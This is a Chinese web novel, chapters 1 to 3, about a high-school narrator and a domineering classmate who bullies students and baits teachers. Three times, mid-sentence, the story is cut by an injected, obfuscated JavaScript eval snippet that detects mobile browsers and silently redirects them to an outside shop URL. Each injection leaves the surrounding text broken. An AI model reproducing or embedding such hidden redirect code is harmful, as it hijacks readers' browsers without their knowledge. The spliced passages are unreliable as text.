《这个班没救了》 1. 第 1 章 九月的阳光毒得能晒死人。 我拖着行李箱站在校门口,看着“市第二高级中学”七个烫金大字在太阳底下闪闪发光,心想:如果我有罪,法律会惩罚我,而不是让我在三十五度高温里报道。 “同学!姐妹!” 一个尖利的女声从我身后炸开。 我还没回头,肩膀就被用力拍了一下。转身,对上一双画着夸张眼线、正上下打量我的眼睛。 “新来的?”她嘴里嚼着口香糖,泡泡吹破又吸回去,“看你这老实巴交的样,跟我混吧。我叫梦萱,做梦的梦,萱草的萱。记住了,以后这个学校,我罩你。” 我沉默三秒,在脑内完成了以下判断: 1. 这女生应该和我同级,身高约一米六,体重目测110往上。 2. 她额头上有很多痘痘,看的人密恐都犯了,另外发际线高得能跑马。 3. “跟我混”这种台词,我上次听到还是在古惑仔电影里。 4. 她身上的香水味浓得像打翻了花露水瓶。 5. 她像那个急于传销的线下传销头子。 “我叫穗。”我说,“禾字旁那个穗。” “穗?真土。”她吹了个泡泡,“以后我叫你穗子吧,听起来像日本名,高级。” “……” “走,带你去教室。”她自来熟地揽住我的肩膀,“高一三班,我看了分班表,咱俩同班。这就是缘分,懂吗?” 我被她半拖半拽地往教学楼走,脑子里只有一个念头:开学第一天,我就遇到了传说中的社交恐怖分子。 --- 高一三班的教室闹哄哄的。 梦萱一进门就放开我,走到讲台上,用力拍了拍黑板擦。 “安静!” 全班静了一瞬,几十双眼睛齐刷刷看向她。 “听好了,”梦萱叉着腰,目光扫过教室,“从今天起,这个班,我,梦萱,说了算。不服的现在站出来。” 死一般的寂静。 后排一个男生小声嘀咕:“你谁啊……” “你!”梦萱精准地指向他,“你叫什么?” “王、王浩……” “好,王浩是吧?”梦萱走下讲台,走到他面前,盯着他看了三秒,“你鼻毛该剪了,露出来三根,左边一根右边两根。以后你就叫‘鼻毛王’。” 全班爆发出压抑的笑声。 王浩脸涨得通红。 “还有你,”梦萱转向他同桌,“戴眼镜这个,镜片厚得跟啤酒瓶底似的,你叫‘显微镜’。” “你,穿粉衣服的,脸色这么黄还穿粉,找死呢?‘黄桃罐头’。” “你,个子这么矮坐最后一排,踮着脚看黑板呢?‘地精’。” 她像皇帝巡视领地,五分钟内给全班一半人起了外号。整个过程行云流水,仿佛这是她的天赋技能。 我找了个靠窗的空位坐下,尽量降低存在感。 但该来的总会来。 梦萱转完一圈,走到我面前,歪着头看我:“你……穗子是吧?你长得……” 她停顿,我屏住呼吸。 “……太正常了。”她得出结论,“没特点,不好起外号。先叫你‘正常人’吧,这是对你的侮辱,因为在这个班,正常就是原罪。” 我:“……谢谢?” “不客气。”她一屁股坐在我旁边的空位上,“以后你就是我同桌了。” “可是……” “没有可是。”她掏出小镜子开始补口红,“跟我坐是你的荣幸。” 我看着她的烈焰大红唇,默默转头看向窗外,开始思考转学的可能性。 --- 班主任是个看起来很和蔼的中年女人,姓李。她简单介绍了班级纪律,然后开始点名。 “程穗。” “到。”我举手。 梦萱在旁边小声说:“原来你姓程啊。程穗,陈年老穗,更土了。” 我假装没听见。 点完名,李老师说:“我们需要一个临时班长,开学第一周负责些杂事。有谁自愿吗?” 没人举手。 梦萱突然高高举起手:“老师!我推荐程穗!” 我猛地转头看她。 “程穗同学看起来就很负责任,”梦萱说得一本正经,“而且她刚才主动帮同学搬书,乐于助人,适合当班长。” 我什么时候帮人搬书了? 李老师看向我:“程穗同学,你愿意吗?” 全班的目光再次聚焦。我知道,如果拒绝,接下来一周我可能会被梦萱起一百个外号。 “……愿意。”我说。 “好,那就暂定程穗。”李老师笑了,“下面我们选各科课代表……” “老师!”梦萱又举手,“我推荐‘鼻毛王’当生物课代表!他对毛发有深入研究!” 王浩的脸从红转紫。 “我推荐‘显微镜’当物理课代表!他能看清光的折射!” 戴眼镜的男生低头推了推眼镜。 “我推荐‘黄桃罐头’当语文课代表!她需要多读点书提升气质!” 粉衣服的女生快哭了。 李老师的笑容僵在脸上:“这位同学,我们还是让同学们自愿报名吧……” “自愿多没意思。”梦萱耸肩,“行吧,那我不说了。” 但她的“推荐”已经让那几个人社死了。接下来一整节课,没人敢看他们。 --- 下课铃响,梦萱拉着我去小卖部。 “请你喝饮料,”她说,“庆祝你当上班长。” “我不渴……” “我说你渴你就渴。” 小卖部门口人挤人。梦萱像条泥鳅一样钻进去,五分钟后拿着两瓶冰红茶出来,递给我一瓶。 “给你。”她说。 “……谢谢。”我接过来,发现瓶盖是拧开的。 “哦,我帮你拧开了,”梦萱说,“怕你力气小拧不动。” 我看着她,突然觉得……这人好像也没那么坏? 然后下一秒,她就把空瓶子扔进了花坛。 “喂,那边那个!”她朝一个正在扫地的保洁阿姨喊,“瓶子捡一下,乱丢垃圾影响校园美观!” 我:“……” 阿姨瞪了她一眼,还是走过来捡起瓶子。 “看到了吗?”梦萱对我说,“在这个学校,你要够凶,别人才会听你的。” “可是……” “没有可是。”她摆摆手,“走,带你去认认老师办公室,以后你是班长,得常去。” --- 教师办公楼在一号楼三层。我们上楼时,迎面下来一个中年男老师。 他大约五十岁,头顶的地中海在走廊灯光下闪闪发亮,两侧的白发倔强地梳向中间,试图掩盖那片不毛之地。他走得很慢,手里抱着一摞政治课本。 “哟,这不是鲁老师吗?”梦萱突然开口。 男老师停下脚步,看向我们。他的眼睛很小,眼袋很大,嗓音沙哑得像砂纸磨木头:“同学,有事?” “没事,就是跟您打个招呼。”梦萱笑得天真无邪,“鲁老师,您今天的发型真别致,中间这块亮得能当镜子照。” 鲁老师的脸以肉眼可见的速度黑了。 “您教哪个班啊?”梦萱继续问。 “高一……五班。”鲁老师从牙缝里挤出几个字。 “五班啊,那可惜了,我在三班。”梦萱叹气,“不然就能天天欣赏您的发型了。对了老师,您听说过生发液吗?我爸用过一款,特好用,要不要推荐给您?” 鲁老师抱着课本的手在抖。 我赶紧拽梦萱的袖子:“我们该走了……” “急什么?”梦萱甩开我,“鲁老师,您别灰心,秃顶是智慧的象征。您看那些伟人,爱因斯坦,牛顿,都秃……” “够了!”鲁老师低吼一声,转身快步下楼,脚步重得像在踩蟑螂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064635|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 等他走远,梦萱哈哈大笑:“看到没?这些老师,你越怕他们,他们越拽。你要比他们还拽,他们就怂了。” 我看着她笑得前仰后合的样子,突然意识到:这个女生,可能不是简单的“社交恐怖分子”。 她是一枚行走的炸弹。 而且她似乎选中我当她的引爆器。 --- 下午最后一节课是自习。李老师让我们填个人信息表。 我正认真填写,梦萱凑过来:“穗子,你生日几月?” “十一月。” “天蝎座啊,记仇,不好惹。”她点头,“我六月,双子,双重人格。” 我:“……哦。” “你爸妈干什么的?” “我爸是工程师,我妈是会计。” “普通家庭啊。”她撇嘴,“我爸开厂的,我妈全职太太。我家有三套房两辆车。” 我不知道该怎么接话。 “以后有人欺负你,报我名字。”她拍拍胸脯,“在这个学校,我罩你。” “为什么?”我终于问出口,“我们才认识一天。” “因为你看起来……”她托着下巴想了想,“像那种会认真听我说话的人。其他人要么怕我,要么讨厌我,要么想泡我。你不一样,你看我的眼神里没有那些乱七八糟的东西。” 她顿了顿,难得语气认真:“你就是单纯觉得我有病。” 我:“……”被看穿了。 “但我确实有病。”她又笑起来,“精神病,没得治的那种。所以你要习惯。” 说完,她趴桌上开始睡觉。 我看着她后脑勺翘起的一缕头发,在夕阳下泛着金光,突然觉得这个场景有点……荒谬的温馨。 也许高中生活就是这样?总会遇到几个奇葩,把原本平淡的日子搅得天翻地覆。 但我没想到的是,这个奇葩,未来三年会给我带来多少“惊喜”。 --- 放学铃响,我收拾书包准备回家。 “等等。”梦萱叫住我,“加个微信。” 我们互加了好友。她的头像是自己的怼脸自拍,昵称是“女王大人”。 “明天见,穗子。”她背起书包,“记住,你是我的人。” “……我只是你同桌。” “一样。”她挥挥手,蹦蹦跳跳地走了。 我走出教室,走廊里熙熙攘攘。经过五班门口时,我无意间往里瞥了一眼。 靠窗的座位上,坐着一个黑色短发的女生。她低着头在画画,周围的热闹仿佛与她无关。她的课本立着,上面用铅笔画满了各种Q版小人。 她似乎感觉到我的目光,抬起头。 我们对视了一秒。 她推了推不存在的眼镜,冲我露出一个很淡的微笑,然后低下头继续画。 我走出教学楼,九月的晚风吹散了白天的燥热。 手机震动,是梦萱发来的消息: 「明天记得给我带早餐,我要豆浆油条,豆浆要甜的,油条要脆的。」 我回复:「我不是你保姆。」 「你现在是了【爱心】」 我叹了口气,低声骂了句“傻逼”,把手机塞回口袋。 抬头看天,夕阳把云染成橘红色。 我的高中生活,就这样,在一个颠婆的强行介入下,拉开了序幕。 而当时的我并不知道,这个班里还有一个隐形观察者,正用画笔记录着一切。 她的名字,叫洐沁。 她会在未来的某一天,递给我一包瓜子,说:“姐妹,你的苦日子还在后头呢。” 但那是后话了。 此时此刻,我只是一个刚刚当上班长、被颠婆缠上、对未来一无所知的普通高中生。 我只想回家吃我妈做的红烧肉,然后排表,拉群,写作业,睡觉。 明天的事,明天再说吧。 毕竟,在这个学校,保持正常,可能才是最艰难的挑战。 2. 第 2 章 梦萱说到做到。 第二天早上六点五十,我刚走到校门口,就收到她的微信轰炸: 「到哪了?」 「豆浆要烫的!」 「油条不准软!」 「三分钟内看不到你我就给别人起外号!」 我看了眼手里的塑料袋——甜豆浆、脆油条,甚至多加了一个茶叶蛋。我也不知道为什么要买,可能只是习惯性妥协。 走到教室门口,梦萱正翘着二郎腿坐在我的座位上,对着小镜子涂睫毛膏。 “晚了三十秒。”她头也不抬。 “排队的人多。” “借口。”她放下睫毛膏,接过塑料袋,“茶叶蛋?算你懂事。” 她剥开蛋壳,咬了一大口,蛋黄渣掉在校服领子上。 “看什么看?”她瞪我,“没见过美女吃饭?” 我迫使自己将目光从她酷似蜘蛛的眼睛上移开,默默走到旁边,等她吃完让座。 “鼻毛王”王浩从后门进来,看到梦萱,立刻转身想溜。 “站住。”梦萱嘴里塞满油条,含糊不清地说,“你昨天生物作业抄的谁的?” 王浩僵住:“我、我自己写的……” “放屁。”梦萱咽下油条,“你连线粒体是什么都不知道,能写出‘细胞是生命活动的基本单位’这种高级话?抄的‘显微镜’的吧?” 戴眼镜的“显微镜”同学正在喝水,闻言呛得直咳嗽。 “行啊,互相帮助。”梦萱擦擦手,“今天数学作业借我抄,这事就过去了。” 王浩如蒙大赦:“好好好!” “还有你,”梦萱转向“显微镜”,“物理笔记借我,不然我就告诉老师你眼镜度数是假的,其实你不近视,戴平光镜装逼。” “显微镜”的脸白了:“我、我真的近视……” “六百五十度?我舅舅开眼镜店的,你镜片厚度顶多三百。”梦萱站起来,走到他面前,伸手摘掉他的眼镜,“来,念黑板最上面那行字。” 黑板上写着值日生安排,字很小。 “显微镜”眯着眼,半天憋出一句:“今天……值日……” “值日什么?人名是什么?”梦萱追问。 “看、看不清……” “行了,还你。”梦萱把眼镜戴回他脸上,“三百五十度,撑死了。不过装得还挺像,以后继续,我喜欢看人演戏。” 她走回座位,对我眨眨眼:“怎么样,我这侦查能力,能当侦探了吧?” 我:“……”你这是霸凌。 但我没说出口。因为下一秒,梦萱从书包里掏出一盒巧克力,塞给我:“给你的,昨天谢了。” “谢什么?” “没在我起外号的时候跳出来装正义使者啊。”她拆开巧克力,自己先吃了一块,“那些圣母婊最烦人,动不动‘你怎么能这样’‘你要尊重别人’,呸,假惺惺。” 我握着巧克力,有点不知所措。 “吃啊,进口的,我爸客户送的。”她往我嘴里塞了一块,“甜吧?人生就得甜一点,苦大仇深给谁看。” 确实很甜,甜得发腻。 --- 第一节课是语文。老师是个温柔的女老师,姓周。 “今天我们学习朱自清的《背影》。”周老师说,“请大家默读课文,感受父爱的深沉。” 教室里响起翻书声。 五分钟后,梦萱举手:“老师,我有问题。” “请说。” “这篇课文是不是有点问题?”梦萱站起来,“父亲给儿子买橘子,爬月台,儿子就在那看着,也不帮忙?这不孝子啊。要是我爸,我肯定说‘爸你下来,我去买,你腰不好别摔着’。” 周老师笑了:“这是文学表达,重点在父亲的付出……” “付出也得讲究方法啊。”梦萱继续说,“而且父亲穿黑布大马褂,深青布棉袍,这穿搭太土了,要是穿得体面点,爬月台也不会那么吃力吧?” 全班窃笑。 周老师尴尬地推推眼镜:“这个……我们主要学习情感……” “情感也有问题。”梦萱不依不饶,“儿子都二十岁了,出远门还要爹送,巨婴吗?我十六岁就自己坐飞机去海南了。” “梦萱同学,请先坐下,我们继续……” “老师,我觉得语文课应该教点实用的。”梦萱坐下前还不忘补刀,“比如怎么骂人不带脏字,怎么怼人怼到点子上,这比学什么背影有用多了。” 周老师的笑容彻底消失。 下课铃响,她几乎是逃出教室的。 梦萱得意地对我笑:“看到没?这些老师,你一提现实问题,他们就虚了。” 我看着她,突然问:“你爸送你上过学吗?” 梦萱的笑容僵了一下,很快恢复:“送过啊,开奔驰送的。怎么了?” “没什么。”我低头整理笔记。 她沉默了几秒,突然抢过我的笔:“你什么意思?觉得我缺父爱?同情我?” “我没有……” “我最讨厌别人同情我。”她把笔扔回给我,“我爸好着呢,给我钱花,给我买衣服,比那些天天接送孩子、其实屁用没有的爹强多了。” 她说这话时,下巴抬得很高,像在示威。 但她的手指在微微发抖。 --- 中午食堂,梦萱强行拉我和她一起吃。 她打了三个荤菜:红烧肉、糖醋排骨、炸鸡排,堆得像小山。 “你吃得完吗?”我问。 “吃不完倒掉。”她夹了块红烧肉,“我家交的学费里包含餐费,我乐意浪费。” 我打了两个素菜,坐下默默吃。 “你就吃这个?”她皱眉,“跟兔子似的。来,吃肉。” 她把一块排骨夹到我碗里。 “谢谢,但我……” “闭嘴,吃。” 我看着她。她今天涂了红色口红,但不知怎的衬得皮肤更黄了,额头上的痘痘在食堂灯光下格外明显。不过她吃东西的样子很专注,仿佛这是世界上最重要的事。 “梦萱,”我突然说,“你为什么总跟老师对着干?” “好玩啊。”她头也不抬。 “不只是好玩吧。” 她停下筷子,盯着我:“那你觉得是因为什么?” “我不知道。”我老实说,“但我觉得……你好像很想让人注意你。” “废话,谁不想被注意?” “但方式有很多种。”我说,“你可以成绩好,可以参加活动,可以……” “太慢了。”她打断我,“成绩好得学多久才能考第一?参加活动得混多久才能当干部?我这种方式,一天,就一天,全校都知道高一三班有个梦萱。” 她凑近我,压低声音:“你知道人最怕什么吗?不是怕你多优秀,是怕你疯。你一疯,他们就怂了,就让着你了。这个世界,软的怕硬的,硬的怕不要命的,不要命的怕神经病的。我,就是那个神经病。” 她说这话时,眼睛里有一种近乎狂热的光。 我:不理解但尊重。 “那你为什么选我?”我问,“我也没多特别。” “因为你不会跑。”她说,“我骂你,你不会哭;我烦你,你不会躲;我跟你说话,你会听——虽然你心里肯定在吐槽。我需要一个这样的人,在我发疯的时候,在旁边看着,证明我没真的疯到没救。” 她顿了顿,声音低下来:“或者说,证明我真的疯了,也好。” 我不知道该怎么接话。 “吃你的饭。”她又恢复了那副吊儿郎当的样子,“下午数学课,我要跟数学老师battle函数定义,你帮我记着点,别让他用专业术语糊弄我。” --- 下午数学课果然精彩。 数学老师是个秃顶的中年男人,姓赵,脾气暴躁。 “函数是什么?函数就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064636|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是两个变量之间的对应关系!”赵老师敲着黑板,“记下来!重点!” 梦萱举手:“老师,我有问题。” 赵老师显然听说过她,脸一沉:“说。” “为什么一定要用f(x)表示?用y不行吗?多写个括号多麻烦。” “这是规定!” “规定就是对的吗?”梦萱说,“古代还规定女人要裹小脚呢。” “你……”赵老师气得手抖,“你爱学不学!” “学啊,但我要学明白。”梦萱站起来,“老师,你能用函数解释一下爱情吗?比如我喜欢一个人,我对他的好感度是x,他对我的反应是y,这算函数吗?” 全班哄堂大笑。 赵老师脸涨成猪肝色:“梦萱!出去站着!” “为什么?我问问题啊。”梦萱无辜地眨眨眼,“数学不是解释世界的工具吗?爱情不是世界的一部分吗?” “滚出去!” “行吧。”梦萱耸耸肩,拎着书包往外走,经过我身边时小声说,“帮我记笔记,晚上借我抄。” 她走出教室,靠在走廊墙上,居然从书包里掏出手机开始玩。 赵老师在教室里喘粗气:“你们……不准学她!谁学她,谁滚出去!” 但已经晚了。这节课后,梦萱的“函数爱情论”在年级里传开了。 --- 放学后,梦萱果然来找我借笔记。 “写得挺工整啊。”她翻着我的本子,“你这种人,以后肯定是那种规规矩矩过日子,结婚生子,一辈子没什么大波澜的类型。” “那样不好吗?” “好,但没意思。”她把笔记塞回给我,“走,带你去个好地方。” 她带我去了学校后门的奶茶店,点了两杯波霸奶茶。 “请你。”她说,“作为笔记的报酬。” 我们坐在店外的小桌上。夕阳西下,街道上车来车往。 “穗子,”梦萱咬着吸管,“你说,人活着到底图什么?” “不知道。” “我觉得是图爽。”她说,“想吃就吃,想骂就骂,想疯就疯。那些规矩啊道德啊,都是给怂人准备的枷锁。” “但你这样……会没朋友的。” “朋友?”她笑了,“我不需要朋友,我需要跟班,需要观众。你是观众里最合格的那个。” “为什么是我?” “因为你不会judge我。”她说,“其他人,要么想拯救我,要么想远离我,要么想利用我。你不一样,你就看着,像看一场戏。而我,需要一个不鼓掌也不喝倒彩的观众。” 她喝光奶茶,把杯子捏扁:“行了,回家吧。明天记得带早餐,我要小笼包和豆奶。” “……你还真不客气。” “跟你客气什么?”她站起来,“你是我的人。” 她说完就走了,马尾辫在夕阳下一甩一甩。 我坐在原地,看着她的背影,突然觉得这个“颠婆”,可能比我想象中复杂。 她不缺钱,不缺胆子,甚至不缺小聪明。 她缺的,是一个能告诉她“你这样不对,但没关系,我还在”的人。 而莫名其妙地,我成了那个人。 --- 晚上写作业时,手机震动。 是梦萱发来的消息: 「今天数学笔记第三题,你写的那个公式,是赵秃子讲错了吧?我查了,应该是f(x)=ax2+bx+c,不是f(x)=ax2+bx+c2」 我愣了,翻出笔记一看——我抄错了。 回复:「你看懂了?」 「废话,我智商130,只是懒得学【抠鼻】」 「那你怎么不跟赵老师说?」 「给他留点面子呗,毕竟秃成那样也不容易。」 我笑了。 也许,这个颠婆,真的能成为朋友? 虽然是以一种极其抽象的方式。 3. 第 3 章 十月,学校要搞“班级文化评比”。 李老师在班会上宣布这个消息时,梦萱正在涂指甲油——鲜红色,涂得歪歪扭扭,像凶案现场。 “每个班要出一面墙,主题是‘我的青春梦想’。”李老师说,“班长负责组织,同学们积极参与,周五前完成。” 全班的目光落在我身上。 我站起来:“有谁自愿参加吗?” 一片死寂。 我:救命怎么没人理我,好尴尬…… “没人自愿的话,我就点名了。”我说,“王浩、张明、李晓雅……” “等等。”梦萱举手,“我参加。” 全班震惊。 连我都愣了:“你……确定?” “怎么,不行?”梦萱吹了吹指甲,“我的青春梦想可精彩了,保证让评委看了睡不着觉。” 我有种不祥的预感。 “还有谁?”我赶紧问。 “显微镜”陈磊小声说:“我、我也参加吧……” “黄桃罐头”刘晓雯举手:“我也来。” 最后组成了六人小组:我、梦萱、陈磊、刘晓雯,还有两个平时很安静的女生。 放学后,我们留在教室讨论方案。 “我觉得可以画星空,”刘晓雯说,“象征梦想广阔。” “太俗。”梦萱说。 “那……向日葵?象征朝气。” “更俗。” “那你说画什么?”陈磊推了推眼镜。 梦萱咧嘴一笑:“画骷髅。” “什么?!” “青春梦想不就是找死吗?”梦萱说,“十几岁觉得能改变世界,二十几岁被世界改变,三十几岁认命,四十几岁等死。不如直接画骷髅,诚实。” “不行。”我断然拒绝,“必须正能量。” “正能量?”梦萱翻白眼,“行啊,那就画一群人在学习,标题写‘好好学习天天向上’,够正能量吧?土得掉渣。” 最后我们折中:画一列火车穿过四季,象征青春旅程。我负责设计草图,陈磊擅长画画,刘晓雯字好看,负责写文字。 “那我呢?”梦萱问。 “你……帮忙涂色?”我说。 “涂色?幼稚。”她撇嘴,“行吧,我负责监工,确保你们不偷懒。” --- 接下来三天,每天放学后我们都在教室赶工。 我画了草图:火车从春天的樱花站出发,穿过夏日的海滩、秋天的枫林、冬日的雪原,最后驶向写着“未来”的彩虹隧道。 “还行。”梦萱看了评价,“就是太童话了,现实是火车可能脱轨。” “你就不能少说两句?”陈磊忍不住说。 “实话实说嘛。”梦萱坐在课桌上晃着腿,一边吃薯片一边指挥,“那个云画得太假了,现实中的云哪有那么规整?跟棉花糖似的。” 刘晓雯小声对我说:“她好烦。” 我叹气:“忍忍吧,周五就结束了。” 周四下午,墙画完成了八成。火车车身涂成天蓝色,车窗里画着小人的剪影,四季背景色彩鲜艳。 “明天再加点细节就行了。”我松了口气。 “我去买饮料。”梦萱跳下课桌,“你们要喝什么?” “矿泉水就行。”我说。 “我也要。”陈磊说。 “我要可乐。”刘晓雯说。 梦萱出去了。教室里只剩下我们四个,安静得有点不真实。 “班长,”刘晓雯突然说,“你为什么总惯着她?” “我没有……” “你就有。”陈磊也加入,“她说话那么难听,你从来不怼回去。她还老使唤你,让你带早餐,借作业抄,你都答应。” “因为……”我顿住了。 因为什么?因为我怕她?因为我懒得计较?还是因为……我觉得她其实没那么坏? “我觉得她挺可怜的。”一直没说话的一个女生突然开口,“她爸妈好像离婚了,她跟爸爸住,但她爸经常不在家。” “你怎么知道?” “我妈跟她家保姆是老乡。”女生说,“听说她爸在外面有……反正不怎么管她。她妈在国外,一年回来一次。” 我们沉默了。 “那也不能这样啊。”陈磊说,“可怜不是作恶的理由。” “我知道。”我说,“但……算了,明天最后一天,坚持一下。” 梦萱回来了,拎着一袋饮料。 “给。”她扔给我一瓶矿泉水,“其他人自己拿。” 气氛有点尴尬。 “怎么了?”梦萱敏锐地察觉到了,“说我坏话了?” “没有。”我拧开瓶盖。 “肯定说了。”她笑了,“无所谓,说我坏话的人多了,不差你们几个。” 她走到文化墙前,盯着看了半天,突然说:“其实画得还行。” 我们都愣了。 “真的,”梦萱难得语气正常,“比我预想的好。那个彩虹隧道……挺有意思的。” 她说完就转身回座位了,背影有点不自在。 刘晓雯和陈磊对视一眼,没再说话。 那一刻,我几乎要以为,梦萱也许真的能变好。 --- 我错了。 大错特错。 周五早上,我第一个到教室。 推开门,看到文化墙的那一刻,我整个人僵在原地。 火车车厢上,被人用黑色马克笔画了一个巨大的、扭曲的、极其逼真的——大便。 不是卡通大便,是写实风。有纹理,有阴影,甚至还在“冒热气”。 大便旁边,用同样粗黑的笔迹写着: 「程穗的作品 点评:一坨屎 评分:0分 评审:梦萱」 我的大脑空白了三秒。 然后血液冲上头顶。 同学们陆续进来,看到墙,爆发出各种反应: “卧槽!” “谁干的?!” “太恶心了吧……” “梦萱写的?她疯了?” 梦萱是最后一个进来的。她哼着歌,蹦蹦跳跳,看到墙时,夸张地捂住嘴: “哎呀!这是谁干的?太缺德了吧!” 所有人都看着她。 “看我干嘛?”她一脸无辜,“又不是我干的。” “这上面写着你的名字。”陈磊指着墙。 “哦,对啊,写着我名字。”梦萱走到墙前,歪着头看,“但这字迹明显是模仿我的,有人想陷害我。” “就是你!”刘晓雯尖叫,“你昨天最后走的!” “证据呢?”梦萱耸肩,“教室又没监控。” 她转向我,笑容灿烂:“穗子,你不会怀疑我吧?咱俩可是好朋友。” 我看着她。看着她额头上新冒出的痘痘,看着她红色口红下得意的嘴角,看着她眼睛里那种“你能拿我怎样”的挑衅。 我想起这一个月: 她让我带早餐,我带了。 她骂人,我忍了。 她跟老师吵架,我装没看见。 她给我起外号,我接受了。 我以为我在包容一个“可怜”的人。 我以为我在维持表面的和平。 我以为……我能改变什么。 但我错了。 我只是在纵容一个以伤害他人为乐的人。 “是你干的。”我说。 声音很平静,我自己都意外。 梦萱的笑容僵了一下:“你说什么?” “是你干的。”我重复,“字迹是你的,马克笔是你昨天用的那支,就在你书包侧袋里。要拿出来对比吗?” 全班安静了。 梦萱的表情从惊讶变成恼怒,再变成那种熟悉的嘲讽: “是又怎样?画得不好还不让评价了?你这破画本来就丑,我这是帮你改进。” “改进就是画坨屎?” “艺术要真实。”她理直气壮,“青春本来就是屎,糊一身,臭烘烘,洗都洗不掉。我这是在揭露真相。” 我走到她面前。我们身高差不多,我能清楚地看到她瞳孔里我的倒影——一个气得发抖,但竭力保持冷静的人。 “道歉。”我说。 “凭什么?” “把墙擦干净,道歉。” “我不。”梦萱抱起手臂,“你能拿我怎样?告诉老师?去啊,看她信你还是信我。” 李老师这时走进教室,看到墙,倒吸一口凉气:“这……这是怎么回事?!” “老师!”梦萱抢先开口,“程穗把墙画坏了,还诬陷我!” “你胡说!”刘晓雯喊。 “都安静!”李老师头疼地看着墙,“程穗,你说。” 我看着梦萱。她也看着我,眼神里写着:你斗不过我。 我突然觉得很累。 不是生气,不是委屈,是累。 跟这种人纠缠,太累了。 “是我画的。”我说。 全班哗然。 “程穗你……”陈磊想说话,我抬手制止。 “大便是我画的,字也是我写的。”我看着李老师,语气平静,“我想表达的是……青春有时候确实像一坨屎,糊里糊涂,又臭又脏,但总要自己擦干净。” 李老师目瞪口呆。 梦萱也愣了,没想到我会认。 “我会负责清理干净。”我说,“……今天放学后我一个人完成。” “你……你确定?”李老师显然不信,但她可能也不想深究了。 “确定。”我说。 李老师叹口气:“那今天先上课吧。程穗,放学后你留下来处理。” “好。” 课间,梦萱凑到我身边:“你什么意思?替 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064637|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我背锅?想让我欠你人情?” 我没理她,继续抄笔记。 “喂,跟你说话呢。”她推我肩膀。 我放下笔,转头看她。 看了很久,久到她有点不自在了。 “看什么看?” “梦萱,”我说,“我们以后不是朋友了。” 她嗤笑:“谁稀罕跟你当朋友?” “那就好。”我点头,“从今天起,你走你的阳关道,我过我的独木桥。你爱怎么疯怎么疯,爱给谁起外号起外号,别来惹我。” “你以为我怕你?” “我不需要你怕我。”我说,“我只需要你离我远点。” 我说得很慢,很清晰,确保每个字她都听清楚了。 梦萱脸上的笑容一点点消失。 她似乎终于意识到:我是认真的。 “行啊。”她后退一步,声音拔高,“你以为我多喜欢你?你这种假正经的圣母婊,我早就看腻了!” “那就好。”我重复。 她瞪了我一眼,转身走了,把桌椅撞得哐当响。 全班都在看我们。 但我不在乎了。 --- 放学后,同学们都走了,只剩我一个人在教室。 我打来一桶水,站在文化墙前,看着那个巨大的大便涂鸦。 其实画得挺有水平——阴影处理得很好,立体感强,甚至有种荒诞的艺术感。 可惜是画在别人心血上的。 我拿起抹布,开始擦。 黑色的马克笔很难擦,用力擦会损坏墙皮,不用力又擦不掉。我擦得很慢,一点点,一点点。 擦了半个小时,只擦掉一小片。 “用这个试试。” 一个声音从门口传来。 我转头。是那个黑色短发、总在画画的女生——五班的那个。 她走进来,递给我一瓶液体:“酒精,能擦掉油性笔。” “谢谢。”我接过来。 “不用谢。”她在后排找了个位置坐下,从书包里掏出素描本,“你继续,我画我的。” “你……” “我叫洐沁。”她说,“五班的。跟你一样,也是个‘正常人’。” 她说话时没抬头,铅笔在纸上沙沙作响。 我犹豫了一下,还是用了酒精。果然好擦多了。 我们谁也没再说话。教室里只有我擦墙的声音,和她画画的声音。 一个小时后,墙终于擦干净了,但留下了大片水渍和破损。 “得重新刷漆。”我说。 “明天周末,让学校后勤弄吧。”洐沁说,“你一个人画不完。” “但我答应老师……” “你答应的是‘处理干净’,已经处理干净了。”洐沁合上素描本,走过来,“剩下的不是你的责任。” 她递给我一包东西。 是瓜子。 “磕吗?”她说,“下午那出《霸道颠婆爱上我之决裂篇》,我给9.8分。扣0.2分因为你骂人词汇量不足。” 我愣住了。 然后,在空荡荡的教室里,在残留着酒精和大便涂鸦痕迹的文化墙前,我笑了。 笑得眼泪都出来了。 “谢了。”我接过瓜子。 “不客气。”洐沁也笑了,“正式认识一下,我是你的新同桌——,我转班了,李老师刚调的座位表,下周一开始,你旁边那个调走了,我补上。” “为什么?” “因为我也需要一个‘正常人’同桌。”她说,“而你需要一个能递瓜子的人。” 她拿起书包:“走了,周一见。” “洐沁,”我叫住她,“你为什么帮我?” 她站在门口,回头,推了推不存在的眼镜: “因为在这个学校,正常人得抱团取暖。” “否则,”她补充,“会被颠婆们各个击破。” 她走了。 我站在教室里,看着空白的墙,看着手里的瓜子,突然觉得,高中生活也许没那么糟糕。 至少,我有了一个能递瓜子的同桌。 